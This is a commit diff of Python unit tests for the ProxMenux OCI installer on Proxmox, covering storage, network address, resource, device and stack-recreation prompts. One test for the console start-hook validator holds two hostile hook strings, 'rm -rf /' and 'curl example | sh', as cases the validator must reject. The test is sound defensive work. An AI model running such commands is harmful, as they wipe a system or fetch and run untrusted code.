mirror of
https://github.com/MacRimi/ProxMenux.git
synced 2026-10-08 22:46:41 +00:00
feat(oci): Recreate for multi-container apps and CPU/memory in every advanced install
This commit is contained in:
@@ -103,11 +103,16 @@ class AdvancedFlowOrderTests(unittest.TestCase):
|
||||
localtime = next(m for m in plan["mounts"] if m["container_path"] == "/etc/localtime")
|
||||
self.assertEqual((localtime["type"], localtime["source"]), ("host-bind", "/etc/localtime"))
|
||||
|
||||
def test_default_mode_asks_no_storage(self, *_):
|
||||
ui = RecordingUI()
|
||||
def test_default_mode_asks_one_storage_the_address_and_the_start(self, *_):
|
||||
ui = RecordingUI({"Storage for the container and its data": "Public"})
|
||||
plan = self.build("jellyfin", ui, DEFAULT_MODE)
|
||||
self.assertFalse([text for text in ui.asked if text.startswith("Storage for")])
|
||||
self.assertEqual({m["source"] for m in plan["mounts"]}, {"local-lvm"})
|
||||
self.assertEqual(ui.asked[0], "Storage for the container and its data")
|
||||
self.assertEqual(ui.asked[-2:], ["Start with Proxmox", "Start when finished"])
|
||||
self.assertFalse([text for text in ui.asked if text.startswith("Storage for /")])
|
||||
self.assertEqual(plan["rootfs"]["storage"], "Public")
|
||||
self.assertEqual({m["source"] for m in plan["mounts"]}, {"Public"})
|
||||
plan = self.build("jellyfin", RecordingUI(), DEFAULT_MODE)
|
||||
self.assertEqual({plan["rootfs"]["storage"]} | {m["source"] for m in plan["mounts"]}, {"local-lvm"})
|
||||
|
||||
def assert_follows(self, asked, *texts):
|
||||
positions = [asked.index(text) for text in texts]
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
"""A default installation of a multi-container application still asks its
|
||||
storage, its address and how it starts; everything else comes from the recipe."""
|
||||
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "src"))
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
|
||||
from proxmenux_oci.catalog import Catalog
|
||||
from proxmenux_oci.installer import DEFAULT_MODE, build_deployment
|
||||
from test_advanced_flow_order import RecordingUI, addresses, storages
|
||||
|
||||
STORAGE = "Storage for the containers and their data"
|
||||
ADDRESS = "<address>"
|
||||
|
||||
|
||||
def asked_addresses(ui, bridge, names, *args):
|
||||
# The address belongs to the questions asked through the real interface.
|
||||
ui.asked.append(ADDRESS)
|
||||
return addresses(ui, bridge, names)
|
||||
|
||||
|
||||
def storages_used(plan):
|
||||
used = {value for key, value in plan.items()
|
||||
if key.endswith("storage") and key != "template_storage" and isinstance(value, str)}
|
||||
used |= {plan[key]["storage"] for key in ("media", "application", "transfer")
|
||||
if isinstance(plan.get(key), dict) and plan[key].get("storage")}
|
||||
for service in plan.get("services", []):
|
||||
used.add(service["deployment"]["rootfs"]["storage"])
|
||||
used |= {m["source"] for m in service["deployment"]["mounts"] if m["type"] == "managed-volume"}
|
||||
return used
|
||||
|
||||
|
||||
@patch("proxmenux_oci.i18n.language", return_value="en")
|
||||
@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
|
||||
@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
|
||||
@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
|
||||
@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=asked_addresses)
|
||||
class DefaultInstallEssentialsTests(unittest.TestCase):
|
||||
catalog = Catalog(ROOT)
|
||||
|
||||
def build(self, app, answers=None):
|
||||
ui = RecordingUI(answers)
|
||||
return ui, build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
|
||||
|
||||
def test_every_stack_asks_storage_address_and_start(self, *_):
|
||||
for app in ("nextcloud-stack", "paperless-ngx", "tandoor", "immich", "linkwarden", "suite-arr"):
|
||||
ui, _plan = self.build(app)
|
||||
self.assertIn(STORAGE, ui.asked, app)
|
||||
self.assertIn(ADDRESS, ui.asked, app)
|
||||
self.assertTrue(any("with Proxmox" in text for text in ui.asked), app)
|
||||
self.assertLess(ui.asked.index(STORAGE), ui.asked.index(ADDRESS), app)
|
||||
|
||||
def test_the_users_data_is_placed_by_the_user_and_the_rest_comes_from_the_recipe(self, *_):
|
||||
expected = {
|
||||
"nextcloud-stack": [STORAGE, "Where to store the Nextcloud files, configuration and data",
|
||||
"Nextcloud volume size in GB", ADDRESS, "Start the stack with Proxmox",
|
||||
"Start when finished"],
|
||||
"immich": [STORAGE, "Where to store the Immich library", "Library size in GB", ADDRESS,
|
||||
"Start the stack with Proxmox", "Start when finished"],
|
||||
"tandoor": [STORAGE, "Where to store the recipe images and files", "Files volume size in GB", ADDRESS,
|
||||
"Start the stack with Proxmox"],
|
||||
"paperless-ngx": [STORAGE, "Documents volume size in GB", "Where to store the consume and export folders",
|
||||
"Shared directory for consume and export", ADDRESS, "Start the stack with Proxmox",
|
||||
"Start when finished"],
|
||||
"linkwarden": [STORAGE, "Where to store linkwarden: /data/data", "Size in GB of linkwarden: /data/data",
|
||||
ADDRESS, "Start the stack with Proxmox"],
|
||||
}
|
||||
for app, asked in expected.items():
|
||||
self.assertEqual(self.build(app)[0].asked, asked, app)
|
||||
for text in ("Stack name", "Base VMID (empty = next free block)", "Timezone"):
|
||||
self.assertNotIn(text, self.build("suite-arr")[0].asked)
|
||||
|
||||
def test_a_host_directory_can_be_chosen_for_the_data(self, *_):
|
||||
_ui, plan = self.build("nextcloud-stack", {
|
||||
"Where to store the Nextcloud files, configuration and data": "host-bind",
|
||||
"Shared host directory": "/mnt/tank/nextcloud"})
|
||||
self.assertEqual((plan["application"]["mode"], plan["application"]["host_path"], plan["application"]["backup"]),
|
||||
("host-bind", "/mnt/tank/nextcloud", False))
|
||||
_ui, plan = self.build("nextcloud-stack", {"Nextcloud volume size in GB": "200"})
|
||||
self.assertEqual((plan["application"]["mode"], plan["application"]["size_gb"]), ("managed-volume", 200))
|
||||
|
||||
def test_the_chosen_storage_holds_the_containers_and_their_data(self, *_):
|
||||
for app in ("nextcloud-stack", "paperless-ngx", "tandoor", "immich", "linkwarden", "suite-arr"):
|
||||
_ui, plan = self.build(app, {STORAGE: "Public"})
|
||||
self.assertEqual(storages_used(plan), {"Public"}, app)
|
||||
_ui, plan = self.build(app)
|
||||
self.assertEqual(storages_used(plan), {"local-lvm"}, app)
|
||||
|
||||
def test_a_single_image_application_asks_the_same_essentials(self, *_):
|
||||
single = "Storage for the container and its data"
|
||||
for app in ("jellyfin", "frigate", "uptimekuma"):
|
||||
ui, plan = self.build(app, {single: "Public"})
|
||||
self.assertEqual(ui.asked[0], single, app)
|
||||
self.assertIn(ADDRESS, ui.asked, app)
|
||||
self.assertEqual(ui.asked[-2:], ["Start with Proxmox", "Start when finished"], app)
|
||||
self.assertEqual(plan["rootfs"]["storage"], "Public", app)
|
||||
self.assertEqual({m["source"] for m in plan["mounts"] if m["type"] == "managed-volume"} - {"Public"},
|
||||
set(), app)
|
||||
|
||||
def test_the_members_of_a_stack_ask_nothing_of_their_own(self, *_):
|
||||
for app in ("linkwarden", "suite-arr"):
|
||||
ui, _plan = self.build(app)
|
||||
self.assertEqual(ui.asked.count(ADDRESS), 1, app)
|
||||
self.assertNotIn("Storage for the container and its data", ui.asked, app)
|
||||
self.assertNotIn("Start with Proxmox", ui.asked, app)
|
||||
self.assertNotIn("Start when finished", ui.asked, app)
|
||||
|
||||
def test_the_start_answers_are_the_users(self, *_):
|
||||
_ui, plan = self.build("nextcloud-stack", {"Start the stack with Proxmox": True, "Start when finished": False})
|
||||
self.assertEqual((plan["onboot"], plan["start_after_create"]), (True, False))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -19,11 +19,22 @@ INVENTORY = {"gpus": ["NVIDIA GeForce RTX 3060, GPU-1234, 550.0"]}
|
||||
|
||||
class ConsoleHookTests(unittest.TestCase):
|
||||
def test_only_the_proxmenux_start_hook_is_recognised(self):
|
||||
hook = oci_console.start_mark_hook(165).split(": ", 1)[1]
|
||||
line = oci_console.start_mark_hook(165)
|
||||
hook = line.split(": ", 1)[1]
|
||||
self.assertTrue(oci_console.is_start_mark_hook(line))
|
||||
self.assertFalse(oci_console.is_start_mark_hook(line.replace("pre-start", "post-stop")))
|
||||
self.assertTrue(dynamic.console_start_hook(hook))
|
||||
self.assertFalse(dynamic.console_start_hook(hook.replace("exit 0", "rm -rf /; exit 0")))
|
||||
self.assertFalse(dynamic.console_start_hook("/bin/sh -c 'curl example | sh; exit 0'"))
|
||||
|
||||
def test_the_stack_replay_does_not_keep_the_start_hook_as_an_unknown_directive(self):
|
||||
import oci_stack_replay
|
||||
source = Path(oci_stack_replay.__file__).read_text(encoding="utf-8")
|
||||
self.assertIn("and not oci_console.is_start_mark_hook(line)]", source)
|
||||
saved = {"preserved_raw_runtime": [oci_console.start_mark_hook(129), "lxc.cap.drop: sys_admin"]}
|
||||
kept = [l for l in saved["preserved_raw_runtime"] if not oci_console.is_start_mark_hook(l)]
|
||||
self.assertEqual(kept, ["lxc.cap.drop: sys_admin"])
|
||||
|
||||
@unittest.skipUnless(hasattr(os, "geteuid") and os.geteuid() == 0, "the NVIDIA hook must belong to root")
|
||||
def test_a_container_with_the_console_hook_passes_validation(self):
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
"""Every multi-container application offers extra paths in an advanced installation."""
|
||||
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "src"))
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
|
||||
from proxmenux_oci.catalog import Catalog
|
||||
from proxmenux_oci.cli import _deployment_summary_text
|
||||
from proxmenux_oci.installer import ADVANCED_MODE, DEFAULT_MODE, build_deployment
|
||||
from test_advanced_flow_order import RecordingUI, addresses, storages
|
||||
|
||||
EXTRA = "Add an extra custom path"
|
||||
SPECIAL = ("nextcloud-stack", "paperless-ngx", "tandoor", "immich")
|
||||
|
||||
|
||||
class ExtraPathUI(RecordingUI):
|
||||
"""Adds one container volume the first time the extra path is offered."""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__({"Path inside the container (e.g. /media-extra)": "/media-extra",
|
||||
"Volume size in GB": "20"})
|
||||
self.offered = 0
|
||||
|
||||
def confirm(self, text, default=False):
|
||||
if text == EXTRA:
|
||||
self.asked.append(text)
|
||||
self.offered += 1
|
||||
return self.offered == 1
|
||||
return super().confirm(text, default)
|
||||
|
||||
|
||||
@patch("proxmenux_oci.i18n.language", return_value="en")
|
||||
@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
|
||||
@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
|
||||
@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
|
||||
@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=addresses)
|
||||
class StackExtraPathTests(unittest.TestCase):
|
||||
catalog = Catalog(ROOT)
|
||||
|
||||
def test_the_advanced_installation_offers_an_extra_path_before_the_network(self, *_):
|
||||
for app in SPECIAL:
|
||||
ui = ExtraPathUI()
|
||||
template = self.catalog.compose(app)
|
||||
plan = build_deployment(template, ui, ADVANCED_MODE)
|
||||
self.assertEqual(ui.asked.count(EXTRA), 2, app)
|
||||
bridge = next(text for text in ui.asked if text.startswith("Access bridge"))
|
||||
self.assertLess(ui.asked.index(EXTRA), ui.asked.index(bridge), app)
|
||||
self.assertEqual([(m["type"], m["container_path"], m["size_gb"]) for m in plan["extra_mounts"]],
|
||||
[("managed-volume", "/media-extra", 20)], app)
|
||||
self.assertIn("/media-extra", _deployment_summary_text(template, plan), app)
|
||||
|
||||
def test_an_extra_path_cannot_hide_the_data_of_the_application(self, *_):
|
||||
ui = ExtraPathUI()
|
||||
ui.answers["Path inside the container (e.g. /media-extra)"] = "/var/www/html/data"
|
||||
with self.assertRaises(ValueError):
|
||||
build_deployment(self.catalog.compose("nextcloud-stack"), ui, ADVANCED_MODE)
|
||||
|
||||
def test_the_advanced_installation_offers_usb_devices_for_the_application(self, *_):
|
||||
device = "Add another GPU or USB device manually?"
|
||||
usb = [{"path": "/dev/ttyACM1", "name": "Z-Stick", "kind": "Communications"}]
|
||||
for app in SPECIAL:
|
||||
ui = RecordingUI()
|
||||
offered = []
|
||||
|
||||
def confirm(text, default=False, ui=ui, offered=offered):
|
||||
ui.asked.append(text)
|
||||
if text == device:
|
||||
offered.append(text)
|
||||
return len(offered) == 1
|
||||
return default
|
||||
|
||||
def choose(text, options, default=None, ui=ui):
|
||||
ui.asked.append(text)
|
||||
tags = [tag for tag, _label in options]
|
||||
if text == "Device to attach":
|
||||
self.assertNotIn("nvidia", tags, app)
|
||||
return "usb"
|
||||
return "/dev/ttyACM1" if "/dev/ttyACM1" in tags else default
|
||||
|
||||
ui.confirm, ui.choose = confirm, choose
|
||||
template = self.catalog.compose(app)
|
||||
with patch("proxmenux_oci.extra_devices.host.usb_devices", return_value=usb):
|
||||
plan = build_deployment(template, ui, ADVANCED_MODE)
|
||||
self.assertEqual([(d["kind"], d["host_path"], d["gid_strategy"]) for d in plan["extra_devices"]],
|
||||
[("character-device", "/dev/ttyACM1", "host-device-gid")], app)
|
||||
self.assertIn("/dev/ttyACM1", _deployment_summary_text(template, plan), app)
|
||||
|
||||
def test_the_default_installation_does_not_ask_it(self, *_):
|
||||
for app in SPECIAL:
|
||||
ui = RecordingUI()
|
||||
plan = build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
|
||||
self.assertNotIn(EXTRA, ui.asked, app)
|
||||
self.assertEqual(plan["extra_mounts"], [], app)
|
||||
self.assertEqual(plan["extra_devices"], [], app)
|
||||
self.assertNotIn("Add another GPU or USB device manually?", ui.asked, app)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,127 @@
|
||||
"""Recreate on a multi-container application edits the extra paths and devices
|
||||
of its application container, and never its own data."""
|
||||
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "src"))
|
||||
sys.path.insert(0, str(ROOT / "remote"))
|
||||
|
||||
from proxmenux_oci import stack_recreation
|
||||
|
||||
MEMBER = {"vmid": 129, "stack_member": {"name": "application"},
|
||||
"deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh", "role": "application"}}}
|
||||
DATABASE = {"vmid": 130, "stack_member": {"name": "database"},
|
||||
"deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh", "role": "database"}}}
|
||||
CONFIG = {
|
||||
"rootfs": "local-lvm:vm-129-disk-0,size=8G",
|
||||
"mp0": "local-lvm:vm-129-disk-1,mp=/opt/recipes/staticfiles,backup=1,size=2G",
|
||||
"mp1": "local-lvm:vm-129-disk-2,mp=/opt/recipes/mediafiles,backup=1,size=16G",
|
||||
"mp2": "local-lvm:vm-129-disk-3,mp=/media-extra,backup=1,size=2G",
|
||||
"mp3": "/mnt/share,mp=/host-extra,backup=0",
|
||||
"dev0": "path=/dev/ttyACM1,mode=0660,deny-write=0,gid=20",
|
||||
}
|
||||
|
||||
|
||||
class ScriptedUI:
|
||||
def __init__(self, kept_paths, kept_devices, delete=True):
|
||||
self.kept = {"Extra paths to keep (unmark one to remove it)": kept_paths,
|
||||
"Devices to keep (unmark one to remove it)": kept_devices}
|
||||
self.delete = delete
|
||||
self.offered = {}
|
||||
|
||||
def checklist(self, text, options, default=None):
|
||||
self.offered[text] = [tag for tag, _label in options]
|
||||
return self.kept[text]
|
||||
|
||||
def confirm(self, text, default=False):
|
||||
return self.delete if "deletes its container volume" in text else False
|
||||
|
||||
|
||||
@patch("proxmenux_oci.i18n.language", return_value="en")
|
||||
@patch.object(stack_recreation, "_config", return_value=CONFIG)
|
||||
class StackRecreationTests(unittest.TestCase):
|
||||
def test_only_the_application_container_is_edited(self, *_):
|
||||
primary = {"stack": {"members": [DATABASE, MEMBER]}}
|
||||
self.assertEqual([m["vmid"] for m in stack_recreation.application_members(primary)], [129])
|
||||
|
||||
def test_the_data_of_the_recipe_is_never_offered_for_removal(self, *_):
|
||||
ui = ScriptedUI(["/media-extra", "/host-extra"], ["/dev/ttyACM1"])
|
||||
self.assertIsNone(stack_recreation.plan_changes(ui, MEMBER))
|
||||
self.assertEqual(ui.offered["Extra paths to keep (unmark one to remove it)"], ["/media-extra", "/host-extra"])
|
||||
|
||||
def test_unmarked_paths_and_devices_are_removed(self, *_):
|
||||
changes = stack_recreation.plan_changes(ScriptedUI([], []), MEMBER)
|
||||
self.assertEqual(changes["remove_mounts"], ["/media-extra", "/host-extra"])
|
||||
self.assertEqual(changes["remove_devices"], ["/dev/ttyACM1"])
|
||||
self.assertEqual((changes["add_mounts"], changes["add_devices"]), ([], []))
|
||||
|
||||
def test_a_volume_is_kept_when_its_deletion_is_not_confirmed(self, *_):
|
||||
changes = stack_recreation.plan_changes(ScriptedUI([], ["/dev/ttyACM1"], delete=False), MEMBER)
|
||||
self.assertEqual(changes["remove_mounts"], ["/host-extra"])
|
||||
|
||||
def test_the_summary_lists_what_changes(self, *_):
|
||||
changes = {"remove_mounts": ["/media-extra"], "remove_devices": [], "add_devices": [
|
||||
{"host_path": "/dev/ttyACM0"}], "add_mounts": [
|
||||
{"type": "host-bind", "container_path": "/scans", "source": "/mnt/scans"}]}
|
||||
text = stack_recreation.summary(MEMBER, changes)
|
||||
for expected in ("CT 129", "+ /scans", "- /media-extra", "+ /dev/ttyACM0", "are not touched"):
|
||||
self.assertIn(expected, text)
|
||||
|
||||
|
||||
class StackModifyValidationTests(unittest.TestCase):
|
||||
def setUp(self):
|
||||
import oci_stack_modify
|
||||
self.modify = oci_stack_modify
|
||||
lines = "\n".join(f"{key}: {value}" for key, value in CONFIG.items()) + "\n"
|
||||
patcher = patch.object(oci_stack_modify, "run", return_value=lines)
|
||||
patcher.start()
|
||||
self.addCleanup(patcher.stop)
|
||||
|
||||
def changes(self, **values):
|
||||
return {"remove_mounts": [], "add_mounts": [], "remove_devices": [], "add_devices": [], **values}
|
||||
|
||||
def test_a_path_that_overlaps_the_data_is_refused(self):
|
||||
mount = {"type": "managed-volume", "container_path": "/opt/recipes/mediafiles/sub", "source": "local-lvm",
|
||||
"size_gb": 2}
|
||||
with self.assertRaises(ValueError):
|
||||
self.modify.validate(129, self.changes(add_mounts=[mount]))
|
||||
|
||||
def test_removing_something_that_is_not_there_is_refused(self):
|
||||
with self.assertRaises(ValueError):
|
||||
self.modify.validate(129, self.changes(remove_mounts=["/nope"]))
|
||||
with self.assertRaises(ValueError):
|
||||
self.modify.validate(129, self.changes(remove_devices=["/dev/ttyACM0"]))
|
||||
|
||||
def test_an_unsupported_device_is_refused(self):
|
||||
device = {"kind": "character-device", "host_path": "/dev/sda"}
|
||||
with self.assertRaises(ValueError):
|
||||
self.modify.validate(129, self.changes(add_devices=[device]))
|
||||
|
||||
def test_valid_removals_pass(self):
|
||||
self.modify.validate(129, self.changes(remove_mounts=["/media-extra"], remove_devices=["/dev/ttyACM1"]))
|
||||
|
||||
def test_an_updated_application_stops_requiring_a_removed_path(self):
|
||||
kept = [{"container_path": "/opt/recipes/mediafiles", "required": True}]
|
||||
record = {"installation_id": "id", "stack_member": {"primary_vmid": 129},
|
||||
"observed": {"archive_path": "a", "resolved_registry_digest": "d", "image": {}},
|
||||
"template": {"container_contract": {"volumes": kept + [
|
||||
{"container_path": "/media-extra", "required": True}]}},
|
||||
"deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh"}, "mounts": []}}
|
||||
converted = {"deployment": {"mounts": [{"container_path": "/opt/recipes/mediafiles"}], "devices": []},
|
||||
"template": {"container_contract": {"volumes": kept}}}
|
||||
written = {}
|
||||
with patch.object(self.modify.instances, "read", return_value=record), \
|
||||
patch.object(self.modify.instances, "observe", return_value={"config": {}}), \
|
||||
patch.object(self.modify.instances, "location", side_effect=lambda root, vmid: vmid), \
|
||||
patch.object(self.modify.instances, "write", side_effect=written.__setitem__), \
|
||||
patch.dict(self.modify.CONVERTERS, {"install_tandoor_stack.sh": lambda record: converted}):
|
||||
self.modify.register(Path("/nowhere"), 129)
|
||||
self.assertEqual(written[129]["template"]["container_contract"]["volumes"], kept)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,41 @@
|
||||
"""A stack update keeps the USB, serial and GPU nodes of a member, and stops on anything else."""
|
||||
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "remote"))
|
||||
|
||||
import oci_stack_replay
|
||||
|
||||
|
||||
def projection(*values):
|
||||
return {"native_devices": [{"key": f"dev{index}", "value": value} for index, value in enumerate(values)]}
|
||||
|
||||
|
||||
class StackReplayDeviceTests(unittest.TestCase):
|
||||
def test_usb_serial_and_gpu_nodes_are_translated(self):
|
||||
devices = oci_stack_replay.translated_devices(projection(
|
||||
"path=/dev/ttyACM1,mode=0660,deny-write=0,gid=20",
|
||||
"path=/dev/bus/usb/003/002,mode=0664,deny-write=1",
|
||||
"path=/dev/dri/renderD128,mode=0660,gid=104,uid=1000"))
|
||||
self.assertEqual(devices[0], {
|
||||
"id": "native-ttyACM1", "kind": "character-device", "host_path": "/dev/ttyACM1",
|
||||
"container_path": "/dev/ttyACM1", "mode": "0660", "deny_write": False,
|
||||
"gid_strategy": "host-device-gid"})
|
||||
self.assertEqual((devices[1]["gid_strategy"], devices[1]["deny_write"], devices[1]["mode"]),
|
||||
("none", True, "0664"))
|
||||
self.assertEqual((devices[2]["host_path"], devices[2]["uid"]), ("/dev/dri/renderD128", 1000))
|
||||
|
||||
def test_a_member_without_devices_has_none(self):
|
||||
self.assertEqual(oci_stack_replay.translated_devices(projection()), [])
|
||||
|
||||
def test_an_unknown_device_has_no_translation(self):
|
||||
for value in ("path=/dev/sda,mode=0660", "path=/dev/nvidia0,mode=0666", "mode=0660"):
|
||||
with self.assertRaises(ValueError):
|
||||
oci_stack_replay.translated_devices(projection(value))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,60 @@
|
||||
"""An advanced installation of a multi-container application asks the CPU and
|
||||
the memory of its application container; a default one keeps the recipe."""
|
||||
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "src"))
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
|
||||
from proxmenux_oci.catalog import Catalog
|
||||
from proxmenux_oci.cli import _deployment_summary_text
|
||||
from proxmenux_oci.installer import ADVANCED_MODE, DEFAULT_MODE, InstallError, build_deployment
|
||||
from test_advanced_flow_order import RecordingUI, addresses, storages
|
||||
|
||||
SPECIAL = {"nextcloud-stack": (2, 2048), "paperless-ngx": (2, 2048), "tandoor": (2, 2048), "immich": (4, 3072)}
|
||||
REMOTE = {"nextcloud-stack": "nextcloud", "paperless-ngx": "paperless", "tandoor": "tandoor", "immich": "immich"}
|
||||
|
||||
|
||||
@patch("proxmenux_oci.i18n.language", return_value="en")
|
||||
@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
|
||||
@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
|
||||
@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
|
||||
@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=addresses)
|
||||
class StackResourceTests(unittest.TestCase):
|
||||
catalog = Catalog(ROOT)
|
||||
|
||||
def test_the_advanced_installation_asks_cpu_and_memory_before_the_storage(self, *_):
|
||||
for app in SPECIAL:
|
||||
ui = RecordingUI({"CPU cores": "6", "Memory in MB": "4096"})
|
||||
template = self.catalog.compose(app)
|
||||
plan = build_deployment(template, ui, ADVANCED_MODE)
|
||||
self.assertEqual((plan["resources"]["cores"], plan["resources"]["memory_mb"]), (6, 4096), app)
|
||||
self.assertLess(ui.asked.index("Memory in MB"), ui.asked.index("Storage for rootfs"), app)
|
||||
self.assertIn("6 CPU, 4096 MB RAM", _deployment_summary_text(template, plan), app)
|
||||
|
||||
def test_the_default_installation_keeps_the_resources_of_the_recipe(self, *_):
|
||||
for app, expected in SPECIAL.items():
|
||||
ui = RecordingUI()
|
||||
plan = build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
|
||||
self.assertEqual((plan["resources"]["cores"], plan["resources"]["memory_mb"]), expected, app)
|
||||
self.assertNotIn("CPU cores", ui.asked, app)
|
||||
|
||||
def test_resources_that_cannot_run_the_application_are_refused(self, *_):
|
||||
ui = RecordingUI({"CPU cores": "0"})
|
||||
with self.assertRaises(InstallError):
|
||||
build_deployment(self.catalog.compose("tandoor"), ui, ADVANCED_MODE)
|
||||
|
||||
def test_the_installers_create_the_application_with_the_chosen_resources(self, *_):
|
||||
for app, (cores, memory) in SPECIAL.items():
|
||||
script = (ROOT / f"remote/install_{REMOTE[app]}_stack.sh").read_text()
|
||||
self.assertIn(f"jqr '.resources.cores // {cores}'", script, app)
|
||||
self.assertIn(f"jqr '.resources.memory_mb // {memory}'", script, app)
|
||||
self.assertIn('--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY"', script, app)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,55 @@
|
||||
"""A static address another device of the network already uses is not accepted."""
|
||||
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "src"))
|
||||
|
||||
from proxmenux_oci import network
|
||||
|
||||
BRIDGES = [{"iface": "vmbr0", "cidr": "192.168.0.50/24", "gateway": "192.168.0.1"}]
|
||||
|
||||
|
||||
class SequenceUI:
|
||||
def __init__(self, answers):
|
||||
self.answers = iter(answers)
|
||||
self.messages = []
|
||||
|
||||
def choose(self, *_args, **_kwargs):
|
||||
return next(self.answers)
|
||||
|
||||
def ask(self, *_args, **_kwargs):
|
||||
return next(self.answers)
|
||||
|
||||
def message(self, text):
|
||||
self.messages.append(text)
|
||||
|
||||
|
||||
@patch("proxmenux_oci.i18n.language", return_value="en")
|
||||
@patch.object(network.host, "bridges", return_value=BRIDGES)
|
||||
@patch.object(network, "addresses_in_use", return_value=set())
|
||||
class StaticAddressInUseTests(unittest.TestCase):
|
||||
def test_an_address_that_answers_is_asked_again(self, *_):
|
||||
ui = SequenceUI([network.STATIC, "192.168.0.99/24", "192.168.0.170/24", "192.168.0.1"])
|
||||
with patch.object(network.host, "address_answers", side_effect=lambda ip, bridge: ip == "192.168.0.99") as probe:
|
||||
addresses, gateway = network.ask_addresses(ui, "vmbr0", [""])
|
||||
self.assertEqual((addresses[""], gateway), ("192.168.0.170/24", "192.168.0.1"))
|
||||
self.assertEqual([call.args for call in probe.call_args_list],
|
||||
[("192.168.0.99", "vmbr0"), ("192.168.0.170", "vmbr0")])
|
||||
self.assertEqual(len(ui.messages), 1)
|
||||
self.assertIn("192.168.0.99", ui.messages[0])
|
||||
|
||||
def test_the_address_the_container_already_has_is_not_probed(self, *_):
|
||||
ui = SequenceUI([network.STATIC, "192.168.0.169/24", "192.168.0.1"])
|
||||
with patch.object(network.host, "address_answers", return_value=True) as probe:
|
||||
addresses, _gateway = network.ask_addresses(ui, "vmbr0", [""], {"": "192.168.0.169/24"}, "192.168.0.1")
|
||||
self.assertEqual(addresses[""], "192.168.0.169/24")
|
||||
probe.assert_not_called()
|
||||
self.assertEqual(ui.messages, [])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -13,6 +13,9 @@ from proxmenux_oci.extra_devices import (ask_extra_devices, ask_stack_extra_devi
|
||||
from proxmenux_oci.ui import BackRequested, BacktrackUI, DialogUI, RestartWizard
|
||||
|
||||
|
||||
USB = [{'path': '/dev/ttyACM0', 'name': 'ConBee II', 'kind': 'Communications'}]
|
||||
|
||||
|
||||
class SequenceUI:
|
||||
def __init__(self, answers):
|
||||
self.answers = iter(answers)
|
||||
@@ -69,7 +72,8 @@ class WizardTests(unittest.TestCase):
|
||||
finally:
|
||||
wizard.close()
|
||||
|
||||
def test_manual_usb_is_available_without_profile(self):
|
||||
@patch('proxmenux_oci.extra_devices.host.usb_devices', return_value=USB)
|
||||
def test_manual_usb_is_available_without_profile(self, _usb):
|
||||
ui = SequenceUI([True, 'usb', '/dev/ttyACM0', False])
|
||||
devices = ask_extra_devices(ui, [], True)
|
||||
self.assertEqual(devices[0]['host_path'], '/dev/ttyACM0')
|
||||
@@ -80,7 +84,8 @@ class WizardTests(unittest.TestCase):
|
||||
[{'kind': 'character-device'}])
|
||||
self.assertEqual(permissions['strategy'], 'linuxserver-native-init')
|
||||
|
||||
def test_stack_device_goes_only_to_selected_member(self):
|
||||
@patch('proxmenux_oci.extra_devices.host.usb_devices', return_value=USB)
|
||||
def test_stack_device_goes_only_to_selected_member(self, _usb):
|
||||
ui = SequenceUI([True, 'usb', '/dev/ttyACM0', False, ['server']])
|
||||
services = [
|
||||
{'name': name, 'main': name == 'server',
|
||||
|
||||
Reference in New Issue
Block a user